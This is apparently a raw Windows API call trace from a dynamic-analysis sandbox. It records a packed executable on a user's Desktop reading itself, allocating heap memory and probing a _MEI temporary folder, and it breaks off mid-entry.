[0072.175] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18220 [0072.175] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6448, Size=0x14) returned 0x2a71600 [0072.175] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18220 | out: hHeap=0x2ad0000) returned 1 [0072.175] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0072.175] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0072.175] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a715c0 | out: hHeap=0x2ad0000) returned 1 [0072.175] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0072.175] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0072.175] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71600 | out: hHeap=0x2ad0000) returned 1 [0072.175] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fad8 [0072.175] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fad8 | out: hHeap=0x2ad0000) returned 1 [0072.175] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1d850 | out: hHeap=0x2ad0000) returned 1 [0072.175] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a1cc10 [0072.175] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a1bcc0 [0072.176] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6598 [0072.176] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fba0 [0072.176] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fc8 [0072.176] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6528 [0072.176] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65a8 [0072.176] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6528, Size=0x14) returned 0x2a71880 [0072.176] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a71880, Size=0x24) returned 0x2a20138 [0072.176] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65a8 | out: hHeap=0x2ad0000) returned 1 [0072.176] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fc8 | out: hHeap=0x2ad0000) returned 1 [0072.176] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fba0 | out: hHeap=0x2ad0000) returned 1 [0072.176] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6598 | out: hHeap=0x2ad0000) returned 1 [0072.176] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20138 | out: hHeap=0x2ad0000) returned 1 [0072.176] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17ff8 [0072.176] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2c) returned 0x2a73700 [0072.176] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a73700 | out: hHeap=0x2ad0000) returned 1 [0072.176] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1cc10 | out: hHeap=0x2ad0000) returned 1 [0072.176] GetCurrentThreadId () returned 0x9b0 [0072.176] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a85538 | out: hHeap=0x2ad0000) returned 1 [0072.176] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a6d548 | out: hHeap=0x2ad0000) returned 1 [0072.176] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a76e30 | out: hHeap=0x2ad0000) returned 1 [0072.176] GetCurrentThreadId () returned 0x9b0 [0072.176] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a1d9d8 [0072.176] GetCurrentThreadId () returned 0x9b0 [0072.176] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a6e870 | out: hHeap=0x2ad0000) returned 1 [0072.176] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a75c08 | out: hHeap=0x2ad0000) returned 1 [0072.176] GetCurrentThreadId () returned 0x9b0 [0072.176] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a1cc10 [0072.176] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x90) returned 0x2a75c08 [0072.176] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a1ca88 [0072.176] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a22d80 [0072.176] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ca88 | out: hHeap=0x2ad0000) returned 1 [0072.177] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a75c08 | out: hHeap=0x2ad0000) returned 1 [0072.177] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18220 [0072.177] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18220 | out: hHeap=0x2ad0000) returned 1 [0072.177] GetCurrentThreadId () returned 0x9b0 [0072.177] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0072.177] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0072.177] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0072.177] GetCurrentThreadId () returned 0x9b0 [0072.177] GetCurrentThreadId () returned 0x9b0 [0072.177] GetCurrentThreadId () returned 0x9b0 [0072.177] GetCurrentThreadId () returned 0x9b0 [0072.177] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0072.177] GetCurrentThreadId () returned 0x9b0 [0072.177] GetCurrentThreadId () returned 0x9b0 [0072.177] GetLastError () returned 0x0 [0072.177] SetLastError (dwErrCode=0x0) [0072.177] GetLastError () returned 0x0 [0072.177] SetLastError (dwErrCode=0x0) [0072.177] GetLastError () returned 0x0 [0072.177] SetLastError (dwErrCode=0x0) [0072.177] GetLastError () returned 0x0 [0072.177] SetLastError (dwErrCode=0x0) [0072.177] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a200d8 [0072.177] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18130 [0072.177] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18130 | out: hHeap=0x2ad0000) returned 1 [0072.177] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2ad64a8 [0072.177] GetLastError () returned 0x0 [0072.177] SetLastError (dwErrCode=0x0) [0072.177] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0072.178] GetFileType (hFile=0x1d4) returned 0x1 [0072.178] GetFileType (hFile=0x1d4) returned 0x1 [0072.178] GetFileInformationByHandle (in: hFile=0x1d4, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0072.178] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0072.178] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0072.178] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0072.178] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0072.178] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0072.178] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0072.178] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64a8 | out: hHeap=0x2ad0000) returned 1 [0072.178] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200d8 | out: hHeap=0x2ad0000) returned 1 [0072.178] GetLastError () returned 0x0 [0072.178] SetLastError (dwErrCode=0x0) [0072.178] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=6878003, lpDistanceToMoveHigh=0x9ba638*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba638*=0) returned 0x68f333 [0072.178] GetCurrentThreadId () returned 0x9b0 [0072.178] GetLastError () returned 0x0 [0072.178] SetLastError (dwErrCode=0x0) [0072.178] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=7057496, lpDistanceToMoveHigh=0x9ba9d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba9d0*=0) returned 0x6bb058 [0072.178] GetCurrentThreadId () returned 0x9b0 [0072.178] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x97f) returned 0x2a85d58 [0072.178] GetLastError () returned 0x0 [0072.178] SetLastError (dwErrCode=0x0) [0072.178] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2a866e0 [0072.179] ReadFile (in: hFile=0x1d4, lpBuffer=0x2a866e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba984, lpOverlapped=0x0 | out: lpBuffer=0x2a866e0*, lpNumberOfBytesRead=0x9ba984*=0x1000, lpOverlapped=0x0) returned 1 [0072.179] GetCurrentThreadId () returned 0x9b0 [0072.179] GetLastError () returned 0x0 [0072.179] SetLastError (dwErrCode=0x0) [0072.179] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b965c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b965c*=0) returned 0x6bc058 [0072.179] GetLastError () returned 0x0 [0072.179] SetLastError (dwErrCode=0x0) [0072.179] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a866e0 | out: hHeap=0x2ad0000) returned 1 [0072.179] CloseHandle (hObject=0x1d4) returned 1 [0072.179] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2a866e0 [0072.179] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2aa3960 [0072.180] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a866e0 | out: hHeap=0x2ad0000) returned 1 [0072.180] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aa3960, Size=0x1355) returned 0x2aa3960 [0072.180] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a85d58 | out: hHeap=0x2ad0000) returned 1 [0072.180] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182b0 [0072.180] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a182b0, Size=0x20) returned 0x2a1fab0 [0072.180] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fab0, Size=0x40) returned 0x2a18fc8 [0072.180] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18fc8, Size=0x64) returned 0x2a19a48 [0072.180] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19a48, Size=0x8c) returned 0x2a75c08 [0072.180] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a75c08, Size=0xb8) returned 0x2a75c08 [0072.180] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a75c08, Size=0xe8) returned 0x2a75c08 [0072.180] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a75c08, Size=0x120) returned 0x2a76e30 [0072.180] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a76e30, Size=0x160) returned 0x2b21c40 [0072.180] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2b21c40 | out: hHeap=0x2ad0000) returned 1 [0072.180] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa3960 | out: hHeap=0x2ad0000) returned 1 [0072.180] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64e8 [0072.180] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64e8 | out: hHeap=0x2ad0000) returned 1 [0072.180] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a1d3b8 [0072.180] GetCurrentThreadId () returned 0x9b0 [0072.180] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ac30 [0072.180] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ac30 | out: hHeap=0x2ad0000) returned 1 [0072.180] GetCurrentThreadId () returned 0x9b0 [0072.180] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a716a0 [0072.180] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a20950 [0072.180] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1d3b8 | out: hHeap=0x2ad0000) returned 1 [0072.180] GetCurrentThreadId () returned 0x9b0 [0072.180] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0072.180] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0072.180] GetCurrentThreadId () returned 0x9b0 [0072.180] GetCurrentThreadId () returned 0x9b0 [0072.180] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a72b48 | out: hHeap=0x2ad0000) returned 1 [0072.181] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a779e8 | out: hHeap=0x2ad0000) returned 1 [0072.181] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a70ee0 | out: hHeap=0x2ad0000) returned 1 [0072.181] GetCurrentThreadId () returned 0x9b0 [0072.181] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18118 [0072.181] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fdf8 | out: hHeap=0x2ad0000) returned 1 [0072.181] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a1bfd0 [0072.181] GetCurrentThreadId () returned 0x9b0 [0072.181] GetCurrentThreadId () returned 0x9b0 [0072.181] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0072.181] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ab18 [0072.181] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0072.181] GetCurrentThreadId () returned 0x9b0 [0072.181] GetCurrentThreadId () returned 0x9b0 [0072.181] GetCurrentThreadId () returned 0x9b0 [0072.181] GetCurrentThreadId () returned 0x9b0 [0072.181] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0072.181] GetCurrentThreadId () returned 0x9b0 [0072.181] GetCurrentThreadId () returned 0x9b0 [0072.181] GetLastError () returned 0x0 [0072.181] SetLastError (dwErrCode=0x0) [0072.181] GetLastError () returned 0x0 [0072.181] SetLastError (dwErrCode=0x0) [0072.181] GetLastError () returned 0x0 [0072.181] SetLastError (dwErrCode=0x0) [0072.182] GetLastError () returned 0x0 [0072.182] SetLastError (dwErrCode=0x0) [0072.182] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a201c8 [0072.182] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a181f0 [0072.182] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a181f0 | out: hHeap=0x2ad0000) returned 1 [0072.182] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2ad6578 [0072.182] GetLastError () returned 0x0 [0072.182] SetLastError (dwErrCode=0x0) [0072.182] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bab58, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0072.182] GetFileType (hFile=0x1d4) returned 0x1 [0072.182] GetFileType (hFile=0x1d4) returned 0x1 [0072.182] GetFileInformationByHandle (in: hFile=0x1d4, lpFileInformation=0x9babd4 | out: lpFileInformation=0x9babd4) returned 1 [0072.182] FileTimeToLocalFileTime (in: lpFileTime=0x9babe8, lpLocalFileTime=0x9bac18 | out: lpLocalFileTime=0x9bac18) returned 1 [0072.182] FileTimeToSystemTime (in: lpFileTime=0x9bac18, lpSystemTime=0x9bac08 | out: lpSystemTime=0x9bac08) returned 1 [0072.182] FileTimeToLocalFileTime (in: lpFileTime=0x9babe0, lpLocalFileTime=0x9bac18 | out: lpLocalFileTime=0x9bac18) returned 1 [0072.182] FileTimeToSystemTime (in: lpFileTime=0x9bac18, lpSystemTime=0x9bac08 | out: lpSystemTime=0x9bac08) returned 1 [0072.182] FileTimeToLocalFileTime (in: lpFileTime=0x9babd8, lpLocalFileTime=0x9bac18 | out: lpLocalFileTime=0x9bac18) returned 1 [0072.182] FileTimeToSystemTime (in: lpFileTime=0x9bac18, lpSystemTime=0x9bac08 | out: lpSystemTime=0x9bac08) returned 1 [0072.182] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6578 | out: hHeap=0x2ad0000) returned 1 [0072.182] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0072.182] GetLastError () returned 0x0 [0072.182] SetLastError (dwErrCode=0x0) [0072.182] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=7059906, lpDistanceToMoveHigh=0x9bac88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9bac88*=0) returned 0x6bb9c2 [0072.183] GetCurrentThreadId () returned 0x9b0 [0072.183] GetLastError () returned 0x0 [0072.183] SetLastError (dwErrCode=0x0) [0072.183] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=7371744, lpDistanceToMoveHigh=0x9bb020*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9bb020*=0) returned 0x707be0 [0072.183] GetCurrentThreadId () returned 0x9b0 [0072.183] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x855) returned 0x2a85d58 [0072.183] GetLastError () returned 0x0 [0072.183] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2a865b8 [0072.183] ReadFile (in: hFile=0x1d4, lpBuffer=0x2a865b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9bafd4, lpOverlapped=0x0 | out: lpBuffer=0x2a865b8*, lpNumberOfBytesRead=0x9bafd4*=0x1000, lpOverlapped=0x0) returned 1 [0072.184] GetCurrentThreadId () returned 0x9b0 [0072.184] GetLastError () returned 0x0 [0072.184] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b9cac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b9cac*=0) returned 0x708be0 [0072.185] GetLastError () returned 0x0 [0072.185] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a865b8 | out: hHeap=0x2ad0000) returned 1 [0072.185] CloseHandle (hObject=0x1d4) returned 1 [0072.185] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2a865b8 [0072.185] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2aa3960 [0072.185] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a865b8 | out: hHeap=0x2ad0000) returned 1 [0072.185] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aa3960, Size=0x10d3) returned 0x2aa3960 [0072.185] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a85d58 | out: hHeap=0x2ad0000) returned 1 [0072.185] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x441) returned 0x2a85538 [0072.185] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18220 [0072.185] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18220, Size=0x20) returned 0x2a1fad8 [0072.185] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fad8, Size=0x40) returned 0x2a19058 [0072.185] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19058, Size=0x64) returned 0x2a19ab8 [0072.185] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x34d) returned 0x2a72b48 [0072.185] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19ab8, Size=0x8c) returned 0x2a779e8 [0072.185] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a779e8, Size=0xb8) returned 0x2a779e8 [0072.185] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a779e8, Size=0xe8) returned 0x2a779e8 [0072.185] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a779e8 | out: hHeap=0x2ad0000) returned 1 [0072.185] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa3960 | out: hHeap=0x2ad0000) returned 1 [0072.185] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x108) returned 0x2a1ae60 [0072.185] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0072.185] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad64b8 [0072.185] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a1d3b8 [0072.185] GetCurrentThreadId () returned 0x9b0 [0072.185] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0072.185] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0072.185] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0072.185] GetCurrentThreadId () returned 0x9b0 [0072.185] GetCurrentThreadId () returned 0x9b0 [0072.186] GetCurrentThreadId () returned 0x9b0 [0072.186] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2a73700 [0072.186] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a73700 | out: hHeap=0x2ad0000) returned 1 [0072.186] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2a73700 [0072.186] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a73700, Size=0x14) returned 0x2a73700 [0072.186] GetCurrentThreadId () returned 0x9b0 [0072.186] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a73700 | out: hHeap=0x2ad0000) returned 1 [0072.186] GetCurrentThreadId () returned 0x9b0 [0072.186] GetCurrentThreadId () returned 0x9b0 [0072.186] GetLastError () returned 0x0 [0072.186] GetLastError () returned 0x0 [0072.186] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\encodings", lpFindFileData=0x9baa08 | out: lpFindFileData=0x9baa08*(dwFileAttributes=0x29ef3f0, ftCreationTime.dwLowDateTime=0x2a5da70, ftCreationTime.dwHighDateTime=0x2a72740, ftLastAccessTime.dwLowDateTime=0x7f, ftLastAccessTime.dwHighDateTime=0x2a5da70, ftLastWriteTime.dwLowDateTime=0x9baa38, ftLastWriteTime.dwHighDateTime=0x72fbb915, nFileSizeHigh=0x9baa4c, nFileSizeLow=0x73013d47, dwReserved0=0x9baa44, dwReserved1=0x0, cFileName=",«\x9b", cAlternateFileName="")) returned 0xffffffff [0072.186] GetLastError () returned 0x2 [0072.186] GetLastError () returned 0x2 [0072.186] GetLastError () returned 0x2 [0072.186] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\encodings", nBufferLength=0x104, lpBuffer=0x9bab48, lpFilePart=0x9ba9a0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\encodings", lpFilePart=0x9ba9a0*="encodings") returned 0x35 [0072.187] GetLastError () returned 0x2 [0072.187] GetLastError () returned 0x2 [0072.187] GetLastError () returned 0x2 [0072.187] GetLastError () returned 0x2 [0072.187] GetLastError () returned 0x2 [0072.187] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1", lpFindFileData=0x9baa08 | out: lpFindFileData=0x9baa08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd4b7ceb, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xe2f4b867, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xe2f4b867, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffea56, dwReserved1=0xfffffffd, cFileName="_MEI11842", cAlternateFileName="_MEI11~1")) returned 0x1055660 [0072.188] FileTimeToLocalFileTime (in: lpFileTime=0x9baa1c, lpLocalFileTime=0x9ba9ec | out: lpLocalFileTime=0x9ba9ec) returned 1 [0072.188] FileTimeToSystemTime (in: lpFileTime=0x9ba9ec, lpSystemTime=0x9ba9f4 | out: lpSystemTime=0x9ba9f4) returned 1 [0072.188] FileTimeToLocalFileTime (in: lpFileTime=0x9baa14, lpLocalFileTime=0x9ba9ec | out: lpLocalFileTime=0x9ba9ec) returned 1 [0072.188] FileTimeToSystemTime (in: lpFileTime=0x9ba9ec, lpSystemTime=0x9ba9f4 | out: lpSystemTime=0x9ba9f4) returned 1 [0072.188] FileTimeToLocalFileTime (in: lpFileTime=0x9baa0c, lpLocalFileTime=0x9ba9ec | out: lpLocalFileTime=0x9ba9ec) returned 1 [0072.188] FileTimeToSystemTime (in: lpFileTime=0x9ba9ec, lpSystemTime=0x9ba9f4 | out: lpSystemTime=0x9ba9f4) returned 1 [0072.188] FindClose (in: hFindFile=0x1055660 | out: hFindFile=0x1055660) returned 1 [0072.188] GetLastError () returned 0x2 [0072.188] GetCurrentThreadId () returned 0x9b0 [0072.188] GetCurrentThreadId () returned 0x9b0 [0072.188] GetCurrentThreadId () returned 0x9b0 [0072.188] GetCurrentThreadId () returned 0x9b0 [0072.188] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0072.188] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0072.188] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0072.188] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0072.188] GetCurrentThreadId () returned 0x9b0 [0072.188] GetCurrentThreadId () returned 0x9b0 [0072.188] GetCurrentThreadId () returned 0x9b0 [0072.188] GetCurrentThreadId () returned 0x9b0 [0072.188] HeapFree (in: 